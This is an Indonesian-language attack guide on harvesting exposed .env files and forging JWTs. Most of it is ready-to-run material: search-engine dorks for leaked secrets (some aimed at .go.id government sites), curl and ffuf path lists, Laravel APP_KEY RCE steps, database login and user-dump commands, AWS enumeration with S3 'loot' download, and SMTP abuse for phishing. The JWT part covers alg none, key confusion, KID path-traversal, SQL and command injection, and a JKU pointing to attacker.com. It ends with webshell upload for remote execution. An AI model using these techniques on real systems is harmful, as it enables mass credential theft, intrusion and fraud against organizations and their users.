Exposed .env Files & JWT Exploitation
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Exposed .env Files
- 1.1 Apa itu .env File
- 1.2 Mengapa Sering Terekspos
- 1.3 Dorking: Google
- 1.4 Dorking: Shodan / Censys / FOFA
- 1.5 Manual & Automated Discovery
- 1.6 Variasi Path & Filename
- 1.7 Parsing & Extracting Secrets
- 1.8 Exploitation per Secret Type
- 1.9 Laravel APP_KEY → RCE
- 1.10 Database Credentials → Data Access
- 1.11 Cloud Keys → Full Infrastructure
- 1.12 SMTP Credentials → Phishing / Account Takeover
- 1.13 Checklist .env Exploitation
- Bab 2 — JWT Exploitation
- 2.1 Apa itu JWT
- 2.2 Struktur JWT
- 2.3 Dimana JWT Ditemukan
- 2.4 Algorithm None Attack
- 2.5 Algorithm Confusion (RS256 → HS256)
- 2.6 Weak Secret Brute Force
- 2.7 JWT Secret dari .env / Source Code
- 2.8 KID Injection
- 2.9 JWK / JKU Header Injection
- 2.10 Expired Token Bypass
- 2.11 Privilege Escalation via JWT Claims
- 2.12 Tools
- 2.13 Checklist JWT Exploitation
- Bab 3 — Kombinasi: .env + JWT = Full Takeover
Bab 1 — Exposed .env Files
1.1 Apa itu .env File
File .env menyimpan konfigurasi environment aplikasi. Isinya biasanya:
1APP_NAME=MyApp
2APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
3APP_DEBUG=true
4APP_URL=https://target.com
5
6DB_HOST=127.0.0.1
7DB_DATABASE=production_db
8DB_USERNAME=root
9DB_PASSWORD=S3cretP@ss!
10
11MAIL_HOST=smtp.gmail.com
12MAIL_USERNAME=noreply@company.com
13MAIL_PASSWORD=app-specific-password
14
15AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
16AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
17AWS_DEFAULT_REGION=us-east-1
18
19JWT_SECRET=my-super-secret-jwt-key-12345
20STRIPE_SECRET_KEY=sk_live_xxxxxxxxxxxxxxxxxxxxSatu file ini mengandung semua kunci kerajaan — database, cloud, email, payment, encryption keys.
1.2 Mengapa Sering Terekspos
- Web server tidak dikonfigurasi untuk memblokir dotfiles
.htaccesstidak ada atau salah konfigurasi- Nginx tanpa rule
denyuntuk hidden files - Developer lupa exclude dari deployment
- Docker build meng-copy semua file termasuk
.env - Git repository publik yang mengandung
.env - Backup file:
.env.bak,.env.old,.env.saveyang lolos filter
1.3 Dorking: Google
# .env files langsung
inurl:.env intext:DB_PASSWORD
inurl:.env intext:APP_KEY
inurl:.env intext:AWS_SECRET
inurl:.env intext:MAIL_PASSWORD
inurl:.env intext:JWT_SECRET
inurl:.env filetype:env
# Targeted
site:target.com inurl:.env
site:.id inurl:.env intext:DB_PASSWORD
site:.go.id inurl:.env
# Variasi
inurl:.env.local intext:DB_PASSWORD
inurl:.env.production intext:APP_KEY
inurl:.env.backup
inurl:.env.bak
inurl:.env.old
# Kombinasi framework
inurl:.env intext:LARAVEL
inurl:.env intext:DJANGO_SECRET_KEY
inurl:.env intext:FLASK_SECRET
inurl:.env intext:NEXT_PUBLIC
inurl:.env intext:NUXT1.4 Dorking: Shodan / Censys / FOFA
1# Shodan
2shodan search 'http.body:"DB_PASSWORD" http.body:"APP_KEY"'
3shodan search 'http.body:"AWS_SECRET_ACCESS_KEY"'
4shodan search 'http.body:"MAIL_PASSWORD" country:"ID"'
5
6# FOFA
7body="DB_PASSWORD" && body="APP_KEY"
8body="AWS_SECRET_ACCESS_KEY" && country="ID"
9body="JWT_SECRET" && status_code="200"
10
11# Censys
12services.http.response.body: "DB_PASSWORD" AND services.http.response.body: "APP_KEY"1.5 Manual & Automated Discovery
Single target — Manual
1# Cek langsung
2curl -sk https://target.com/.env
3curl -sk https://target.com/.env.local
4curl -sk https://target.com/.env.production
5curl -sk https://target.com/.env.backup
6curl -sk https://target.com/.env.bak
7curl -sk https://target.com/.env.old
8curl -sk https://target.com/.env.save
9curl -sk https://target.com/.env.example # kadang berisi real values
10
11# Subdirectory
12curl -sk https://target.com/api/.env
13curl -sk https://target.com/app/.env
14curl -sk https://target.com/backend/.env
15curl -sk https://target.com/laravel/.env
16curl -sk https://target.com/public/.env
17curl -sk https://target.com/web/.envBatch — ffuf
1cat > /tmp/env-paths.txt << 'EOF'
2.env
3.env.local
4.env.production
5.env.development
6.env.staging
7.env.backup
8.env.bak
9.env.old
10.env.save
11.env.swp
12.env.swo
13.env~
14.env.dist
15.env.example
16.env.sample
17.env.dev
18.env.prod
19.env.test
20api/.env
21app/.env
22backend/.env
23laravel/.env
24public/.env
25web/.env
26src/.env
27config/.env
28EOF
29
30ffuf -u https://target.com/FUZZ -w /tmp/env-paths.txt -mc 200 -fs 0Bulk targets — Nuclei
1# Scan daftar target
2nuclei -l targets.txt -t http/exposures/configs/env-file.yaml
3nuclei -l targets.txt -t http/exposures/configs/ -tags config,env
4
5# Custom template untuk deep scan
6nuclei -l targets.txt -t http/exposures/ -tags exposurehttpx pipeline
1# Dari subdomain list, cek .env sekaligus
2cat subdomains.txt | httpx -path "/.env" -mc 200 -ms "DB_PASSWORD\|APP_KEY\|AWS_SECRET"1.6 Variasi Path & Filename
Selain .env, banyak file konfigurasi lain yang sering terekspos:
# Dotenv variants
.env
.env.local
.env.production
.env.development
.env.staging
.env.backup / .env.bak / .env.old
# Framework config
config.php
config.yml
config.json
wp-config.php
configuration.php # Joomla
settings.php # Drupal
database.yml # Rails
application.yml
appsettings.json # .NET
.htpasswd
web.config # IIS
# Docker & CI
docker-compose.yml # sering ada passwords
Dockerfile # mungkin ada secrets di ENV/ARG
.docker/config.json # Docker registry auth
.gitlab-ci.yml # CI variables
.github/workflows/*.yml # GitHub Actions secrets reference
# Cloud & infra
terraform.tfstate # semua infrastructure state + secrets
terraform.tfvars
ansible/group_vars/all.yml
k8s/secrets.yaml
values.yaml # Helm values1.7 Parsing & Extracting Secrets
Setelah mendapatkan .env file:
1# Download
2curl -sk https://target.com/.env -o target.env
3
4# Extract high-value secrets
5grep -iE '(password|secret|key|token|credential|auth|api_key|private)' target.env
6
7# Categorize
8echo "=== DATABASE ==="
9grep -iE '(DB_|DATABASE_|MYSQL_|POSTGRES_|MONGO_|REDIS_)' target.env
10
11echo "=== CLOUD ==="
12grep -iE '(AWS_|AZURE_|GCP_|DO_|DIGITALOCEAN_|S3_)' target.env
13
14echo "=== EMAIL ==="
15grep -iE '(MAIL_|SMTP_|EMAIL_|SENDGRID_|MAILGUN_)' target.env
16
17echo "=== AUTH & CRYPTO ==="
18grep -iE '(JWT_|APP_KEY|SECRET_KEY|ENCRYPTION_|HASH_|AUTH_)' target.env
19
20echo "=== PAYMENT ==="
21grep -iE '(STRIPE_|PAYPAL_|RAZORPAY_|MIDTRANS_)' target.env
22
23echo "=== THIRD PARTY ==="
24grep -iE '(TWILIO_|FIREBASE_|PUSHER_|ALGOLIA_|SENTRY_)' target.env1.8 Exploitation per Secret Type
| Secret | Impact | Prioritas |
|---|---|---|
APP_KEY (Laravel) | RCE via deserialization | Kritikal |
JWT_SECRET | Forge token → admin access | Kritikal |
DB_PASSWORD | Full database access | Kritikal |
AWS_SECRET_ACCESS_KEY | Full cloud takeover | Kritikal |
STRIPE_SECRET_KEY | Financial data, refunds | Kritikal |
MAIL_PASSWORD | Phishing, account takeover | Tinggi |
REDIS_PASSWORD | Session hijack, RCE | Tinggi |
FIREBASE_API_KEY | Push notifications, data | Sedang |
SENTRY_DSN | Error logs, info disclosure | Rendah |
1.9 Laravel APP_KEY → RCE
Ini salah satu eksploitasi paling devastating dari leaked .env.
Syarat:
APP_KEYdidapat dari.env- Laravel versi < 9.x (atau aplikasi yang pakai unserialize)
APP_DEBUG=true(nice to have, bukan mandatory)
1# APP_KEY contoh:
2# APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
3
4# Gunakan tool: CVE-2018-15133 (Laravel RCE via APP_KEY)
5# https://github.com/kozmic/laravel-poc-CVE-2018-15133
6
7php laravel-poc.php https://target.com "APP_KEY_VALUE" "system('id')"
8
9# Atau pakai phpggc untuk generate payload:
10# phpggc Laravel/RCE1 system id -b
11# Lalu encrypt dengan APP_KEY dan kirim via cookieManual flow:
1# 1. Generate serialized payload dengan phpggc
2phpggc Laravel/RCE1 system 'id' -b
3
4# 2. Encrypt payload menggunakan APP_KEY
5# APP_KEY dipakai Laravel untuk encrypt/decrypt cookie
6# Payload di-serialize → encrypt → set sebagai cookie X-XSRF-TOKEN atau laravel_session
7
8# 3. Kirim request dengan crafted cookie
9# Laravel auto-decrypt cookie → unserialize → RCEUntuk Laravel 9+ (yang pakai Ignition):
1# CVE-2021-3129 — Ignition RCE
2# Jika APP_DEBUG=true dan Ignition terinstall
3
4# Cek apakah vulnerable
5curl -sk "https://target.com/_ignition/health-check"
6
7# Exploit
8python3 laravel-ignition-rce.py https://target.com "system('id')"1.10 Database Credentials → Data Access
1# Dari .env:
2# DB_HOST=db.internal.target.com
3# DB_DATABASE=production
4# DB_USERNAME=app_user
5# DB_PASSWORD=S3cretP@ss!
6
7# Jika DB host publicly accessible:
8mysql -h db.internal.target.com -u app_user -p'S3cretP@ss!' production
9
10# PostgreSQL
11PGPASSWORD='S3cretP@ss!' psql -h db.internal.target.com -U app_user -d production
12
13# MongoDB
14mongosh "mongodb://app_user:S3cretP@ss!@db.internal.target.com:27017/production"
15
16# Redis
17redis-cli -h redis.internal.target.com -a 'RedisPassword'
18
19# Jika DB host = localhost/127.0.0.1 → tidak bisa langsung dari luar
20# Tapi bisa combine dengan RCE atau SSRF untuk aksesSetelah masuk database:
1-- Cari semua tabel
2SHOW TABLES;
3
4-- Dump users
5SELECT * FROM users;
6
7-- Cari tabel sensitif
8SELECT table_name FROM information_schema.tables
9WHERE table_name LIKE '%user%' OR table_name LIKE '%payment%'
10 OR table_name LIKE '%order%' OR table_name LIKE '%token%'
11 OR table_name LIKE '%secret%' OR table_name LIKE '%credential%';1.11 Cloud Keys → Full Infrastructure
AWS
1# Dari .env:
2# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
3# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
4
5# Set credentials
6export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
7export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
8
9# Cek identitas
10aws sts get-caller-identity
11
12# Enumerate
13aws s3 ls # List S3 buckets
14aws ec2 describe-instances # List servers
15aws iam list-users # List IAM users
16aws secretsmanager list-secrets # Cloud secrets
17aws rds describe-db-instances # List databases
18aws lambda list-functions # List serverless functions
19aws ssm describe-parameters # Parameter store
20
21# Download S3 bucket
22aws s3 sync s3://bucket-name ./loot/
23
24# Baca secrets
25aws secretsmanager get-secret-value --secret-id "prod/database"GCP
1# Dari .env:
2# GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json
3# atau GCP_PROJECT_ID + GCP_PRIVATE_KEY
4
5gcloud auth activate-service-account --key-file=service-account.json
6gcloud projects list
7gcloud compute instances list
8gcloud sql instances list
9gcloud secrets listDigitalOcean
1# Dari .env:
2# DO_API_TOKEN=dop_v1_xxxxxxxx
3
4curl -sH "Authorization: Bearer dop_v1_xxxxxxxx" \
5 "https://api.digitalocean.com/v2/droplets" | jq1.12 SMTP Credentials → Phishing / Account Takeover
1# Dari .env:
2# MAIL_HOST=smtp.gmail.com
3# MAIL_PORT=587
4# MAIL_USERNAME=noreply@company.com
5# MAIL_PASSWORD=app-specific-password
6
7# Verifikasi credentials
8# Pakai swaks (Swiss Army Knife for SMTP)
9swaks --to test@test.com \
10 --from noreply@company.com \
11 --server smtp.gmail.com:587 \
12 --auth LOGIN \
13 --auth-user noreply@company.com \
14 --auth-password "app-specific-password" \
15 --tls \
16 --body "test"Dampak:
- Kirim email dari domain resmi perusahaan (bypass SPF/DKIM)
- Password reset akun lain (kirim ke diri sendiri)
- Phishing yang sangat convincing (from: @company.com)
- Social engineering internal
1.13 Checklist .env Exploitation
Dapat .env file
│
├─ 1. Parse & categorize semua secrets
│
├─ 2. APP_KEY ada (Laravel)?
│ └─ Ya → CVE-2018-15133 / CVE-2021-3129 → RCE
│
├─ 3. JWT_SECRET ada?
│ └─ Ya → Forge JWT token → admin access (lihat Bab 2)
│
├─ 4. DB credentials
│ ├─ Host publik? → Koneksi langsung → dump data
│ └─ Host localhost? → Combine dengan RCE/SSRF
│
├─ 5. AWS/GCP/Azure keys
│ └─ aws sts get-caller-identity → enumerate → takeover
│
├─ 6. SMTP credentials
│ └─ Verifikasi → phishing / password reset abuse
│
├─ 7. STRIPE/payment keys
│ └─ Cek apakah live key → financial access
│
└─ 8. Redis/Memcached credentials
└─ Koneksi → session hijack / RCEBab 2 — JWT Exploitation
2.1 Apa itu JWT
JWT (JSON Web Token) adalah format token yang dipakai untuk autentikasi & otorisasi di web applications. Berbeda dengan session-based auth (data disimpan di server), JWT menyimpan semua data di token itu sendiri (client-side).
Artinya: jika kamu bisa memalsukan JWT, kamu bisa jadi siapapun tanpa perlu akses ke server.
2.2 Struktur JWT
JWT terdiri dari 3 bagian dipisahkan titik:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
| HEADER | PAYLOAD | SIGNATURE |Header (base64url decoded):
1{
2 "alg": "HS256",
3 "typ": "JWT"
4}Payload (base64url decoded):
1{
2 "user_id": 1,
3 "role": "admin",
4 "email": "admin@target.com",
5 "iat": 1700000000,
6 "exp": 1700086400
7}Signature:
HMAC-SHA256(
base64url(header) + "." + base64url(payload),
SECRET_KEY
)Decode JWT apapun (tanpa secret):
1# Di terminal
2echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d 2>/dev/null
3echo "eyJ1c2VyX2lkIjoxfQ" | base64 -d 2>/dev/null
4
5# Atau gunakan jwt.io, jwt_tool, dll2.3 Dimana JWT Ditemukan
1# 1. HTTP Headers
2Authorization: Bearer eyJhbGci...
3X-Auth-Token: eyJhbGci...
4X-Access-Token: eyJhbGci...
5
6# 2. Cookies
7Cookie: token=eyJhbGci...
8Cookie: jwt=eyJhbGci...
9Cookie: access_token=eyJhbGci...
10Cookie: session=eyJhbGci...
11
12# 3. URL Parameters
13https://target.com/api?token=eyJhbGci...
14
15# 4. POST Body
16{"token": "eyJhbGci..."}
17
18# 5. Local Storage / Session Storage (via XSS)
19localStorage.getItem('token')
20sessionStorage.getItem('jwt')
21
22# 6. Hidden form fields
23<input type="hidden" name="token" value="eyJhbGci...">Cara mengenali JWT: selalu dimulai dengan eyJ (base64 dari {" ).
2.4 Algorithm None Attack
Beberapa library JWT menerima "alg": "none" — artinya tidak perlu signature sama sekali.
1# Token asli:
2# Header: {"alg":"HS256","typ":"JWT"}
3# Payload: {"user_id":5,"role":"user"}
4# + valid signature
5
6# Token palsu:
7# Header: {"alg":"none","typ":"JWT"}
8# Payload: {"user_id":1,"role":"admin"} ← diganti
9# Signature: (kosong)Manual craft:
1# Encode header
2echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
3# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
4
5# Encode payload (ganti role jadi admin)
6echo -n '{"user_id":1,"role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
7# eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ
8
9# Gabungkan (signature kosong — trailing dot)
10# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.Variasi alg none:
"alg": "none"
"alg": "None"
"alg": "NONE"
"alg": "nOnE"Dengan jwt_tool:
1python3 jwt_tool.py <token> -X a
2# Otomatis coba semua variasi none2.5 Algorithm Confusion (RS256 → HS256)
Jika server pakai RS256 (asymmetric — public key + private key), tapi library juga menerima HS256 (symmetric — satu shared key):
Trik: gunakan public key server (yang memang publik) sebagai HMAC secret.
1# 1. Dapatkan public key server
2# Biasanya di:
3curl -sk https://target.com/.well-known/jwks.json
4curl -sk https://target.com/api/keys
5curl -sk https://target.com/oauth/discovery/keys
6# Atau dari certificate HTTPS itu sendiri
7
8# 2. Convert JWKS ke PEM jika perlu
9# Banyak tools online atau pakai:
10python3 -c "
11from jwt.algorithms import RSAAlgorithm
12import json, sys
13jwks = json.load(open('jwks.json'))
14key = RSAAlgorithm.from_jwk(json.dumps(jwks['keys'][0]))
15print(key.public_bytes_raw())
16"
17
18# 3. Sign token baru pakai HS256 + public key sebagai secret
19python3 jwt_tool.py <token> -X k -pk public.pem
20# -X k = key confusion attack
21# -pk = public key fileManual dengan Python:
1import jwt
2
3public_key = open('public.pem', 'r').read()
4
5# Forge token
6token = jwt.encode(
7 {"user_id": 1, "role": "admin"},
8 public_key, # pakai public key sebagai HMAC secret
9 algorithm="HS256" # force HS256
10)
11print(token)2.6 Weak Secret Brute Force
Jika JWT pakai HS256/HS384/HS512, secret bisa di-brute force offline.
1# hashcat (paling cepat, GPU)
2hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
3
4# Format jwt.txt — token lengkap dalam 1 baris:
5# eyJhbGci...header.eyJzdWIi...payload.signature_here
6
7# john the ripper
8john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
9
10# jwt_tool
11python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
12
13# jwt-cracker (Node.js, brute force karakter)
14jwt-cracker <token> "abcdefghijklmnopqrstuvwxyz0123456789" 8Wordlist khusus JWT secrets:
secret
password
123456
jwt_secret
my-secret-key
supersecret
changeme
your-256-bit-secret
jwt-secret
token-secret
app-secret
HS256-secret
s3cr3t
defaultBanyak developer pakai secret yang lemah atau default dari tutorial/documentation.
2.7 JWT Secret dari .env / Source Code
Jika kamu sudah punya .env file (dari Bab 1):
1# Extract JWT secret
2grep -iE '(JWT_SECRET|JWT_KEY|TOKEN_SECRET|AUTH_SECRET|APP_SECRET|SECRET_KEY)' .env
3
4# Contoh hasil:
5# JWT_SECRET=my-super-secret-jwt-key-12345Forge token:
1import jwt
2
3secret = "my-super-secret-jwt-key-12345" # dari .env
4
5# Buat token admin
6token = jwt.encode(
7 {
8 "user_id": 1,
9 "role": "admin",
10 "email": "admin@target.com",
11 "iat": 1700000000,
12 "exp": 9999999999 # expiry jauh di masa depan
13 },
14 secret,
15 algorithm="HS256"
16)
17print(token)1# Pakai token
2curl -sk -H "Authorization: Bearer $TOKEN" https://target.com/api/admin/users2.8 KID Injection
kid (Key ID) di header JWT menunjukkan key mana yang dipakai. Jika server menggunakan kid untuk lookup key dari filesystem atau database, bisa di-inject.
a) KID — Path Traversal
1{
2 "alg": "HS256",
3 "typ": "JWT",
4 "kid": "../../../dev/null"
5}Server membaca /dev/null (file kosong) → secret = string kosong → sign dengan secret kosong.
1python3 jwt_tool.py <token> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""b) KID — SQL Injection
Jika kid di-query ke database:
1{
2 "alg": "HS256",
3 "typ": "JWT",
4 "kid": "key1' UNION SELECT 'my-secret-key' -- "
5}Server menjalankan:
1SELECT key_value FROM jwt_keys WHERE kid = 'key1' UNION SELECT 'my-secret-key' --'→ Mengembalikan my-secret-key → sign token dengan secret yang kamu kontrol.
c) KID — Command Injection
1{
2 "alg": "HS256",
3 "typ": "JWT",
4 "kid": "key1|cat /etc/passwd"
5}Jika server mengeksekusi shell command untuk read key file.
2.9 JWK / JKU Header Injection
JWK (JSON Web Key) Injection
Beberapa library menerima jwk parameter di header — kamu bisa embed key kamu sendiri:
1# 1. Generate key pair
2openssl genrsa -out attacker.pem 2048
3openssl rsa -in attacker.pem -pubout -out attacker_pub.pem
4
5# 2. Buat JWK dari public key dan embed di header
6python3 jwt_tool.py <token> -X i
7# -X i = JWK injectionJKU (JWK Set URL) Injection
jku header menunjukkan URL untuk fetch public key. Ganti ke server kamu:
1{
2 "alg": "RS256",
3 "typ": "JWT",
4 "jku": "https://attacker.com/.well-known/jwks.json"
5}1# 1. Generate key pair
2# 2. Host jwks.json di server attacker
3# 3. Sign token dengan private key attacker
4# 4. Server fetch public key dari attacker URL → verifikasi berhasil
5
6python3 jwt_tool.py <token> -X s -ju "https://attacker.com/.well-known/jwks.json"2.10 Expired Token Bypass
Beberapa server tidak memeriksa exp (expiration) claim dengan benar.
1# 1. Coba kirim expired token apa adanya
2# Kadang server tidak cek expiry
3
4# 2. Hapus exp claim
5python3 jwt_tool.py <token> -I -pc exp -pv ""
6
7# 3. Set exp sangat jauh ke depan
8python3 jwt_tool.py <token> -I -pc exp -pv 9999999999
9
10# 4. Ganti exp ke timestamp lalu (negatif)
11python3 jwt_tool.py <token> -I -pc exp -pv -12.11 Privilege Escalation via JWT Claims
Setelah bisa forge/modify token, ganti claims untuk escalate privilege:
1// Dari:
2{"user_id": 5, "role": "user", "is_admin": false}
3
4// Ke:
5{"user_id": 1, "role": "admin", "is_admin": true}Claims yang umum bisa di-escalate:
1{
2 "role": "admin", // ganti dari "user"
3 "is_admin": true, // ganti dari false
4 "user_id": 1, // ganti ke admin ID
5 "sub": "admin", // subject
6 "groups": ["admin"], // tambah group admin
7 "permissions": ["*"], // all permissions
8 "scope": "admin read write",
9 "email": "admin@target.com" // impersonate admin
10}1# jwt_tool — tamper claims interaktif
2python3 jwt_tool.py <token> -T
3
4# Atau langsung:
5python3 jwt_tool.py <token> -I -pc role -pv admin -pc is_admin -pv true -S hs256 -p "secret"2.12 Tools
| Tool | Fungsi | Install |
|---|---|---|
| jwt_tool | All-in-one JWT attack tool | pip install jwt-tool atau clone git |
| jwt.io | Online decoder/encoder | Browser |
| hashcat | GPU brute force JWT secret | Pre-installed Kali |
| john | CPU brute force JWT | Pre-installed Kali |
| jwt-cracker | Character brute force | npm install jwt-cracker |
| PyJWT | Python library untuk forge JWT | pip install PyJWT |
jwt_tool cheatsheet:
1# Decode (tanpa secret)
2python3 jwt_tool.py <token>
3
4# Tamper claims interaktif
5python3 jwt_tool.py <token> -T
6
7# Algorithm none
8python3 jwt_tool.py <token> -X a
9
10# Key confusion (RS256 → HS256)
11python3 jwt_tool.py <token> -X k -pk public.pem
12
13# JWK injection
14python3 jwt_tool.py <token> -X i
15
16# JKU spoofing
17python3 jwt_tool.py <token> -X s -ju "https://attacker.com/jwks.json"
18
19# KID injection
20python3 jwt_tool.py <token> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
21
22# Crack secret
23python3 jwt_tool.py <token> -C -d wordlist.txt
24
25# Forge with known secret
26python3 jwt_tool.py <token> -I -pc role -pv admin -S hs256 -p "known_secret"
27
28# Scan all attacks
29python3 jwt_tool.py -M at -t "https://target.com/api/protected" \
30 -rh "Authorization: Bearer <token>"2.13 Checklist JWT Exploitation
Mendapatkan JWT token
│
├─ 1. Decode — lihat header (alg) & payload (claims)
│
├─ 2. alg = none?
│ └─ Coba none attack → modify claims → kirim tanpa signature
│
├─ 3. alg = HS256?
│ ├─ Brute force secret (hashcat/john)
│ ├─ Punya .env? → ambil JWT_SECRET → forge token
│ └─ Default/weak secret? → coba wordlist
│
├─ 4. alg = RS256?
│ ├─ Dapatkan public key → algorithm confusion → HS256
│ ├─ JWK injection
│ └─ JKU injection
│
├─ 5. Ada kid header?
│ ├─ Path traversal → /dev/null → empty secret
│ ├─ SQL injection → control secret value
│ └─ Command injection
│
├─ 6. Expired token?
│ └─ Coba kirim apa adanya → mungkin tidak dicek
│
└─ 7. Bisa forge?
├─ Ganti role → admin
├─ Ganti user_id → 1 (biasanya admin)
└─ Akses endpoint admin → full takeoverBab 3 — Kombinasi: .env + JWT = Full Takeover
3.1 Flow Umum
Temukan .env terekspos
│
├─ Extract JWT_SECRET / APP_KEY
│
├─ Decode JWT yang didapat (dari response, cookie, dll)
│
├─ Forge JWT baru dengan:
│ ├─ role: admin
│ ├─ user_id: 1
│ └─ exp: jauh di depan
│
├─ Akses API admin
│ ├─ /api/admin/users
│ ├─ /api/admin/settings
│ └─ /api/admin/upload → webshell → RCE
│
└─ Combine DB creds dari .env
└─ Dump database → more credentials → lateral movement3.2 Contoh Kasus: Laravel
1# .env yang didapat:
2# APP_KEY=base64:kGKg6DnMqHbVR9t5R3M5S8J3bXpLm0C4n6BGWT1FyKQ=
3# JWT_SECRET=laravel-jwt-secret-value
4# DB_PASSWORD=dbpass123
5
6# Langkah 1 — Forge JWT
7python3 -c "
8import jwt
9token = jwt.encode(
10 {'sub': 1, 'role': 'admin', 'exp': 9999999999},
11 'laravel-jwt-secret-value',
12 algorithm='HS256'
13)
14print(token)
15"
16
17# Langkah 2 — Akses admin API
18curl -sk -H "Authorization: Bearer <forged_token>" \
19 https://target.com/api/admin/users
20
21# Langkah 3 — Jika ada upload endpoint
22curl -sk -H "Authorization: Bearer <forged_token>" \
23 -F "file=@shell.php" \
24 https://target.com/api/admin/upload
25
26# Langkah 4 — RCE
27curl -sk "https://target.com/uploads/shell.php?cmd=id"
28
29# Langkah 5 — Atau langsung RCE via APP_KEY (CVE-2018-15133)
30# Tanpa perlu JWT sama sekali3.3 Contoh Kasus: Node.js / Express
1# .env yang didapat:
2# JWT_SECRET=express-jwt-secret
3# MONGODB_URI=mongodb://admin:mongopass@localhost:27017/app
4# SESSION_SECRET=session-secret-value
5
6# Forge JWT
7node -e "
8const jwt = require('jsonwebtoken');
9const token = jwt.sign(
10 {userId: 'admin_object_id', role: 'admin', isAdmin: true},
11 'express-jwt-secret',
12 {expiresIn: '365d'}
13);
14console.log(token);
15"
16
17# Atau tanpa Node.js (pakai Python)
18python3 -c "
19import jwt
20token = jwt.encode(
21 {'userId': '000000000000000000000001', 'role': 'admin', 'isAdmin': True},
22 'express-jwt-secret',
23 algorithm='HS256'
24)
25print(token)
26"
27
28# Akses admin
29curl -sk -H "Authorization: Bearer <token>" https://target.com/api/admin/dashboard3.4 Contoh Kasus: Django / Flask
1# .env yang didapat:
2# SECRET_KEY=django-insecure-key-from-env
3# DATABASE_URL=postgres://user:pass@localhost/dbname
4
5# Django — SECRET_KEY dipakai untuk session signing
6# Flask — SECRET_KEY dipakai untuk session cookie (bukan JWT biasa)
7
8# Flask session forge (menggunakan flask-unsign):
9pip install flask-unsign
10
11# Decode session cookie
12flask-unsign --decode --cookie "eyJ1c2VyIjoiZ3Vlc3QifQ.XXXXX.YYYYY"
13
14# Forge admin session
15flask-unsign --sign --cookie "{'user': 'admin', 'role': 'admin', 'is_authenticated': True}" \
16 --secret "django-insecure-key-from-env"
17
18# Kirim forged session
19curl -sk -b "session=<forged_cookie>" https://target.com/admin/3.5 Dari JWT Admin ke RCE
Setelah punya JWT admin, cari endpoint yang bisa memberi RCE:
1# 1. File upload endpoint
2POST /api/admin/upload
3POST /api/admin/media
4POST /api/admin/files
5POST /api/admin/import
6
7# Upload webshell:
8curl -sk -H "Authorization: Bearer <admin_token>" \
9 -F "file=@shell.php;filename=shell.php" \
10 https://target.com/api/admin/upload
11
12# 2. Config/Settings endpoint
13POST /api/admin/settings
14# Ubah template path, upload path, atau inject SSTI
15
16# 3. User management
17POST /api/admin/users
18# Buat user baru dengan privilege
19
20# 4. Backup/Export endpoint
21GET /api/admin/backup
22GET /api/admin/export
23# Download source code / database dump
24
25# 5. Console / Debug endpoint (jika ada)
26POST /api/admin/console
27POST /api/admin/eval
28POST /api/admin/execute
29# Langsung RCE jika adaCommon framework admin RCE paths:
| Framework | Path setelah admin | RCE via |
|---|---|---|
| Laravel | /admin/ (Voyager/Nova) | Media upload |
| WordPress | /wp-admin/ | Theme/Plugin editor |
| Django | /admin/ | Jika debug ON + SSTI |
| Express | /admin/ | Depends on implementation |
| Spring Boot | /actuator/ | Env endpoint + restart |
| Rails | /admin/ (ActiveAdmin) | ERB template injection |
Bab 4 — (Coming soon)